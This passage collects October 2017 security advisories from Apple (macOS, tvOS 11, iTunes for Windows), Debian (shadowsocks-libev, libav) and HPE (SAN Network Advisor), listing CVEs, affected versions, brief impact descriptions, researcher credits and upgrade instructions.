Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: A local user may be able to read kernel memory Description: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed through improved input validation. CVE-2017-13817: Maxime Villard (m00nbsd) Kernel Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2017-13818: The UK's National Cyber Security Centre (NCSC) CVE-2017-13836: an anonymous researcher, an anonymous researcher CVE-2017-13841: an anonymous researcher CVE-2017-13840: an anonymous researcher CVE-2017-13842: an anonymous researcher CVE-2017-13782: Kevin Backhouse of Semmle Ltd. Kernel Available for: macOS High Sierra 10.13, macOS Sierra 10.12.6 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-13799: an anonymous researcher Kernel Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-13843: an anonymous researcher Kernel Available for: macOS Sierra 10.12.6 Impact: Processing a malformed mach binary may lead to arbitrary code execution Description: A memory corruption issue was addressed through improved validation. CVE-2017-13834: Maxime Villard (m00nbsd) libarchive Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Unpacking a maliciously crafted archive may lead to arbitrary code execution Description: A buffer overflow issue was addressed through improved memory handling. CVE-2017-13813: found by OSS-Fuzz CVE-2017-13816: found by OSS-Fuzz libarchive Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Unpacking a maliciously crafted archive may lead to arbitrary code execution Description: Multiple memory corruption issues existed in libarchive. These issues were addressed through improved input validation. CVE-2017-13812: found by OSS-Fuzz libarchive Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2016-4736: Proteas of Qihoo 360 Nirvan Team Open Scripting Architecture Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Decompiling an AppleScript with osadecompile may lead to arbitrary code execution Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-13824: an anonymous researcher PCRE Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Multiple issues in pcre Description: Multiple issues were addressed by updating to version 8.40. CVE-2017-13846 Postfix Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Multiple issues in Postfix Description: Multiple issues were addressed by updating to version 3.2.2. CVE-2017-13826: an anonymous researcher Quick Look Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2017-13822: Australian Cyber Security Centre – Australian Signals Directorate Quick Look Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Parsing a maliciously crafted office document may lead to an unexpected application termination or arbitrary code execution Description: A memory consumption issue was addressed through improved memory handling. CVE-2017-7132: Australian Cyber Security Centre – Australian Signals Directorate QuickTime Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2017-13823: an anonymous researcher Remote Management Available for: macOS Sierra 10.12.6 Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-13808: an anonymous researcher Sandbox Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-13838: an anonymous researcher StreamingZip Available for: macOS High Sierra 10.13, macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: A malicious zip file may be able modify restricted areas of the file system Description: A path handling issue was addressed with improved validation. CVE-2017-13804: @qwertyoruiopz at KJC Research Intl. S.R.L. tcpdump Available for: macOS High Sierra 10.13, macOS Sierra 10.12.6 Impact: Multiple issues in tcpdump Description: Multiple issues were addressed by updating to version 4.9.2. CVE-2017-11108 CVE-2017-11541 CVE-2017-11542 CVE-2017-11543 CVE-2017-12893 CVE-2017-12894 CVE-2017-12895 CVE-2017-12896 CVE-2017-12897 CVE-2017-12898 CVE-2017-12899 CVE-2017-12900 CVE-2017-12901 CVE-2017-12902 CVE-2017-12985 CVE-2017-12986 CVE-2017-12987 CVE-2017-12988 CVE-2017-12989 CVE-2017-12990 CVE-2017-12991 CVE-2017-12992 CVE-2017-12993 CVE-2017-12994 CVE-2017-12995 CVE-2017-12996 CVE-2017-12997 CVE-2017-12998 CVE-2017-12999 CVE-2017-13000 CVE-2017-13001 CVE-2017-13002 CVE-2017-13003 CVE-2017-13004 CVE-2017-13005 CVE-2017-13006 CVE-2017-13007 CVE-2017-13008 CVE-2017-13009 CVE-2017-13010 CVE-2017-13011 CVE-2017-13012 CVE-2017-13013 CVE-2017-13014 CVE-2017-13015 CVE-2017-13016 CVE-2017-13017 CVE-2017-13018 CVE-2017-13019 CVE-2017-13020 CVE-2017-13021 CVE-2017-13022 CVE-2017-13023 CVE-2017-13024 CVE-2017-13025 CVE-2017-13026 CVE-2017-13027 CVE-2017-13028 CVE-2017-13029 CVE-2017-13030 CVE-2017-13031 CVE-2017-13032 CVE-2017-13033 CVE-2017-13034 CVE-2017-13035 CVE-2017-13036 CVE-2017-13037 CVE-2017-13038 CVE-2017-13039 CVE-2017-13040 CVE-2017-13041 CVE-2017-13042 CVE-2017-13043 CVE-2017-13044 CVE-2017-13045 CVE-2017-13046 CVE-2017-13047 CVE-2017-13048 CVE-2017-13049 CVE-2017-13050 CVE-2017-13051 CVE-2017-13052 CVE-2017-13053 CVE-2017-13054 CVE-2017-13055 CVE-2017-13687 CVE-2017-13688 CVE-2017-13689 CVE-2017-13690 CVE-2017-13725 Wi-Fi Available for: macOS High Sierra 10.13, macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: An attacker in Wi-Fi range may force nonce reuse in WPA clients (Key Reinstallation Attacks - KRACK) Description: A logic issue existed in the handling of state transitions. This was addressed with improved state management. CVE-2017-13077: Mathy Vanhoef of the imec-DistriNet group at KU Leuven CVE-2017-13078: Mathy Vanhoef of the imec-DistriNet group at KU Leuven CVE-2017-13080: Mathy Vanhoef of the imec-DistriNet group at KU Leuven Installation note: macOS High Sierra 10.13.1 may be obtained from the Mac App Store or Apple's Software Downloads web site: https://www.apple.com/support/downloads/ Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222

APPLE-SA-2017-10-31-11 Additional information for APPLE-SA-2017-09-20-3 tvOS 11

APPLE-SA-2017-10-31-11 Additional information for APPLE-SA-2017-09-20-3 tvOS 11 tvOS 11 addresses the following: 802.1X Available for: Apple TV (4th generation) Impact: An attacker may be able to exploit weaknesses in TLS 1.0 Description: A protocol security issue was addressed by enabling TLS 1.1 and TLS 1.2. CVE-2017-13832: an anonymous researcher Entry added October 31, 2017 CFNetwork Proxies Available for: Apple TV (4th generation) Impact: An attacker in a privileged network position may be able to cause a denial of service Description: Multiple denial of service issues were addressed through improved memory handling. CVE-2017-7083: Abhinav Bansal of Zscaler Inc. CoreAudio Available for: Apple TV (4th generation) Impact: An application may be able to read restricted memory Description: An out-of-bounds read was addressed by updating to Opus version 1.1.4. CVE-2017-0381: V.E.O (@VYSEa) of Mobile Threat Research Team, Trend Micro CoreText Available for: Apple TV (4th generation) Impact: Processing a maliciously crafted font file may lead to arbitrary code execution Description: A memory consumption issue was addressed through improved memory handling. CVE-2017-13825: Australian Cyber Security Centre – Australian Signals Directorate Entry added October 31, 2017 file Available for: Apple TV (4th generation) Impact: Multiple issues in file Description: Multiple issues were addressed by updating to version 5.31. CVE-2017-13815 Entry added October 31, 2017 Fonts Available for: Apple TV (4th generation) Impact: Rendering untrusted text may lead to spoofing Description: An inconsistent user interface issue was addressed with improved state management. CVE-2017-13828: an anonymous researcher Entry added October 31, 2017 HFS Available for: Apple TV (4th generation) Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-13830: Sergej Schumilo of Ruhr-University Bochum Entry added October 31, 2017 ImageIO Available for: Apple TV (4th generation) Impact: Processing a maliciously crafted image may lead to arbitrary code execution Description: A memory corruption issue was addressed through improved input validation. CVE-2017-13814: Australian Cyber Security Centre – Australian Signals Directorate Entry added October 31, 2017 ImageIO Available for: Apple TV (4th generation) Impact: Processing a maliciously crafted image may lead to a denial of service Description: An information disclosure issue existed in the processing of disk images. This issue was addressed through improved memory management. CVE-2017-13831: an anonymous researcher Entry added October 31, 2017 Kernel Available for: Apple TV (4th generation) Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-7114: Alex Plaskett of MWR InfoSecurity Kernel Available for: Apple TV (4th generation) Impact: A local user may be able to read kernel memory Description: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed through improved input validation. CVE-2017-13817: Maxime Villard (m00nbsd) Entry added October 31, 2017 Kernel Available for: Apple TV (4th generation) Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2017-13818: The UK's National Cyber Security Centre (NCSC) CVE-2017-13836: an anonymous researcher, an anonymous researcher CVE-2017-13841: an anonymous researcher CVE-2017-13840: an anonymous researcher CVE-2017-13842: an anonymous researcher CVE-2017-13782: Kevin Backhouse of Semmle Ltd. Entry added October 31, 2017 Kernel Available for: Apple TV (4th generation) Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-13843: an anonymous researcher Entry added October 31, 2017 Kernel Available for: Apple TV (4th generation) Impact: Processing a malformed mach binary may lead to arbitrary code execution Description: A memory corruption issue was addressed through improved validation. CVE-2017-13834: Maxime Villard (m00nbsd) Entry added October 31, 2017 libarchive Available for: Apple TV (4th generation) Impact: Unpacking a maliciously crafted archive may lead to arbitrary code execution Description: A buffer overflow issue was addressed through improved memory handling. CVE-2017-13813: found by OSS-Fuzz CVE-2017-13816: found by OSS-Fuzz Entry added October 31, 2017 libarchive Available for: Apple TV (4th generation) Impact: Unpacking a maliciously crafted archive may lead to arbitrary code execution Description: Multiple memory corruption issues existed in libarchive. These issues were addressed through improved input validation. CVE-2017-13812: found by OSS-Fuzz Entry added October 31, 2017 libc Available for: Apple TV (4th generation) Impact: A remote attacker may be able to cause a denial-of-service Description: A resource exhaustion issue in glob() was addressed through an improved algorithm. CVE-2017-7086: Russ Cox of Google libc Available for: Apple TV (4th generation) Impact: An application may be able to cause a denial of service Description: A memory consumption issue was addressed through improved memory handling. CVE-2017-1000373 libexpat Available for: Apple TV (4th generation) Impact: Multiple issues in expat Description: Multiple issues were addressed by updating to version 2.2.1 CVE-2016-9063 CVE-2017-9233 Quick Look Available for: Apple TV (4th generation) Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2017-13822: Australian Cyber Security Centre – Australian Signals Directorate Entry added October 31, 2017 Security Available for: Apple TV (4th generation) Impact: A revoked certificate may be trusted Description: A certificate validation issue existed in the handling of revocation data. This issue was addressed through improved validation. CVE-2017-7080: an anonymous researcher, an anonymous researcher, Sven Driemecker of adesso mobile solutions gmbh, Rune Darrud (@theflyingcorpse) of Bærum kommune SQLite Available for: Apple TV (4th generation) Impact: Multiple issues in SQLite Description: Multiple issues were addressed by updating to version 3.19.3. CVE-2017-10989: found by OSS-Fuzz CVE-2017-7128: found by OSS-Fuzz CVE-2017-7129: found by OSS-Fuzz CVE-2017-7130: found by OSS-Fuzz SQLite Available for: Apple TV (4th generation) Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-7127: an anonymous researcher WebKit Available for: Apple TV (4th generation) Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A memory corruption issue was addressed through improved input validation. CVE-2017-7081: Apple WebKit Available for: Apple TV (4th generation) Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: Multiple memory corruption issues were addressed with improved memory handling. CVE-2017-7087: Apple CVE-2017-7091: Wei Yuan of Baidu Security Lab working with Trend Micro's Zero Day Initiative CVE-2017-7092: Qixun Zhao (@S0rryMybad) of Qihoo 360 Vulcan Team, Samuel Gro and Niklas Baumstark working with Trend Micro's Zero Day Initiative CVE-2017-7093: Samuel Gro and Niklas Baumstark working with Trend Micro's Zero Day Initiative CVE-2017-7094: Tim Michaud (@TimGMichaud) of Leviathan Security Group CVE-2017-7095: Wang Junjie, Wei Lei, and Liu Yang of Nanyang Technological University working with Trend Micro's Zero Day Initiative CVE-2017-7096: Wei Yuan of Baidu Security Lab CVE-2017-7098: Felipe Freitas of Instituto Tecnológico de Aeronáutica CVE-2017-7099: Apple CVE-2017-7100: Masato Kinugawa and Mario Heiderich of Cure53 CVE-2017-7102: Wang Junjie, Wei Lei, and Liu Yang of Nanyang Technological University CVE-2017-7104: likemeng of Baidu Secutity Lab CVE-2017-7107: Wang Junjie, Wei Lei, and Liu Yang of Nanyang Technological University CVE-2017-7111: likemeng of Baidu Security Lab (xlab.baidu.com) working with Trend Micro's Zero Day Initiative CVE-2017-7117: lokihardt of Google Project Zero CVE-2017-7120: chenqin (陈钦) of Ant-financial Light-Year Security Lab WebKit Available for: Apple TV (4th generation) Impact: Cookies belonging to one origin may be sent to another origin Description: A permissions issue existed in the handling of web browser cookies. This issue was addressed by no longer returning cookies for custom URL schemes. CVE-2017-7090: Apple WebKit Available for: Apple TV (4th generation) Impact: Processing maliciously crafted web content may lead to a cross site scripting attack Description: Application Cache policy may be unexpectedly applied. CVE-2017-7109: avlidienbrunn Wi-Fi Available for: Apple TV (4th generation) Impact: An attacker within range may be able to execute arbitrary code on the Wi-Fi chip Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-11120: Gal Beniamini of Google Project Zero CVE-2017-11121: Gal Beniamini of Google Project Zero Wi-Fi Available for: Apple TV (4th generation) Impact: Malicious code executing on the Wi-Fi chip may be able to execute arbitrary code with kernel privileges on the application processor Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-7103: Gal Beniamini of Google Project Zero CVE-2017-7105: Gal Beniamini of Google Project Zero CVE-2017-7108: Gal Beniamini of Google Project Zero CVE-2017-7110: Gal Beniamini of Google Project Zero CVE-2017-7112: Gal Beniamini of Google Project Zero Wi-Fi Available for: Apple TV (4th generation) Impact: Malicious code executing on the Wi-Fi chip may be able to execute arbitrary code with kernel privileges on the application processor Description: Multiple race conditions were addressed through improved validation. CVE-2017-7115: Gal Beniamini of Google Project Zero Wi-Fi Available for: Apple TV (4th generation) Impact: Malicious code executing on the Wi-Fi chip may be able to read restricted kernel memory Description: A validation issue was addressed with improved input sanitization. CVE-2017-7116: Gal Beniamini of Google Project Zero zlib Available for: Apple TV (4th generation) Impact: Multiple issues in zlib Description: Multiple issues were addressed by updating to version 1.2.11. CVE-2016-9840 CVE-2016-9841 CVE-2016-9842 CVE-2016-9843 Installation note: Apple TV will periodically check for software updates. Alternatively, you may manually check for software updates by selecting "Settings -> System -> Software Update -> Update Software." To check the current version of software, select "Settings -> General -> About." Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222

APPLE-SA-2017-10-31-6 iTunes 12.7.1 for Windows

PPLE-SA-2017-10-31-6 iTunes 12.7.1 for Windows iTunes 12.7.1 for Windows is now available and addresses the following: WebKit Available for: Windows 7 and later Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: Multiple memory corruption issues were addressed with improved memory handling. CVE-2017-13785: Ivan Fratric of Google Project Zero CVE-2017-13784: Ivan Fratric of Google Project Zero CVE-2017-13783: Ivan Fratric of Google Project Zero CVE-2017-13788: xisigr of Tencent's Xuanwu Lab (tencent.com) CVE-2017-13798: Ivan Fratric of Google Project Zero CVE-2017-13795: Ivan Fratric of Google Project Zero CVE-2017-13802: Ivan Fratric of Google Project Zero CVE-2017-13792: Ivan Fratric of Google Project Zero CVE-2017-13794: Ivan Fratric of Google Project Zero CVE-2017-13791: Ivan Fratric of Google Project Zero CVE-2017-13796: Ivan Fratric of Google Project Zero CVE-2017-13793: Hanul Choi working with Trend Micro's Zero Day Initiative CVE-2017-13803: chenqin (陈钦) of Ant-financial Light-Year Security Installation note: iTunes 12.7.1 for Windows may be obtained from: https://www.apple.com/itunes/download/ Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222

[SECURITY] [DSA 4009-1] shadowsocks-libev security update

- ------------------------------------------------------------------------- Debian Security Advisory DSA-4009-1 security@debian.org https://www.debian.org/security/ Moritz Muehlenhoff October 29, 2017 https://www.debian.org/security/faq - ------------------------------------------------------------------------- Package : shadowsocks-libev CVE ID : CVE-2017-15924 Niklas Abel discovered that insufficient input sanitising in the the ss-manager component of shadowsocks-libev, a lightweight socks5 proxy, could result in arbitrary shell command execution. For the stable distribution (stretch), this problem has been fixed in version 2.6.3+ds-3+deb9u1. We recommend that you upgrade your shadowsocks-libev packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/

[SECURITY] [DSA 4012-1] libav security update

- ------------------------------------------------------------------------- Debian Security Advisory DSA-4012-1 security@debian.org https://www.debian.org/security/ Moritz Muehlenhoff October 31, 2017 https://www.debian.org/security/faq - ------------------------------------------------------------------------- Package : libav CVE ID : CVE-2015-8365 CVE-2017-7208 CVE-2017-7862 CVE-2017-9992 Several security issues have been corrected in multiple demuxers and decoders of the libav multimedia library. A full list of the changes is available at https://git.libav.org/?p=libav.git;a=blob;f=Changelog;hb=refs/tags/v11.11 For the oldstable distribution (jessie), these problems have been fixed in version 6:11.11-1~deb8u1. We recommend that you upgrade your libav packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/

[security bulletin] HPESBHF03785 rev.1 - HPE B-Series SAN Network Advisor Software, Multiple Remote Vulnerabilities

Note: the current version of the following document is available here: https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03785en_us SUPPORT COMMUNICATION - SECURITY BULLETIN Document ID: hpesbhf03785en_us Version: 1 HPESBHF03785 rev.1 - HPE B-Series SAN Network Advisor Software, Multiple Remote Vulnerabilities NOTICE: The information in this Security Bulletin should be acted upon as soon as possible. Release Date: 2017-10-17 Last Updated: 2017-10-17 Potential Security Impact: Remote: Multiple Vulnerabilities Source: Hewlett Packard Enterprise, Product Security Response Team VULNERABILITY SUMMARY HPE B-Series SAN Network Advisor Software versions released prior to and including v14.0.2 contain several remotely exploitable Directory Traversal Vulnerabilities: * A FileReceiveServlet vulnerability could allow remote attackers to upload malicious file in a section of the file system where it can be executed. * A DashboardFileReceiveServlet vulnerability could allow remote attackers to upload malicious file in a section of the file system where it can be executed. * A SoftwareImageUpload vulnerability could allow remote attackers to write to arbitrary files, and consequently delete the files. * A CliMonitorReportServlet vulnerability could allow remote attackers to read arbitrary files including files with sensitive user information. References: - CVE-2016-8204 - Brocade Network Advisor - CVE-2016-8205 - Brocade Network Advisor - CVE-2016-8206 - Brocade Network Advisor - CVE-2016-8207 - Brocade Network Advisor SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. - HP B-series SAN Network Advisor Software 14.0.2 and prior BACKGROUND CVSS Base Metrics ================= Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector CVE-2016-8204 10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C) CVE-2016-8205 10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C) CVE-2016-8206 6.5 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L 6.4 (AV:N/AC:L/Au:N/C:N/I:P/A:P) CVE-2016-8207 5.3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 5.0 (AV:N/AC:L/Au:N/C:P/I:N/A:N) Information on CVSS is documented in HPE Customer Notice HPSN-2008-002 here: https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499 RESOLUTION HPE has provided an update to HPE B-Series SAN Network Advisor Software to address the vulnerabilities. * HPE B-Series SAN Network Advisor 14.0.3 and later * HPE B-Series SAN Network Advisor 14.1.1 and later HISTORY Version:1 (rev.1) - 17 October 2017 Initial release Third Party Security Patches: Third party security patches that are to be installed on systems running Hewlett Packard Enterprise (HPE) software products should be applied in accordance with the customer's patch management policy. Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HPE Services support channel. For other issues about the content of this Security Bulletin, send e-mail to security-alert@hpe.com. Report: To report a potential security vulnerability for any HPE supported product: Web form: https://www.hpe.com/info/report-security-vulnerability Email: security-alert@hpe.com Subscribe: To initiate a subscription to receive future HPE Security Bulletin alerts via Email: http://www.hpe.com/support/Subscriber_Choice Security Bulletin Archive: A list of recently released Security Bulletins is available here: http://www.hpe.com/support/Security_Bulletin_Archive Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB. 3C = 3COM 3P = 3rd Party Software GN = HPE General Software HF = HPE Hardware and Firmware MU = Multi-Platform Software NS = NonStop Servers OV = OpenVMS PV = ProCurve ST = Storage Software UX = HP-UX Copyright 2016 Hewlett Packard Enterprise Hewlett Packard Enterprise shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett Packard Enterprise and the names of Hewlett Packard Enterprise products referenced herein are trademarks of Hewlett Packard Enterprise in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.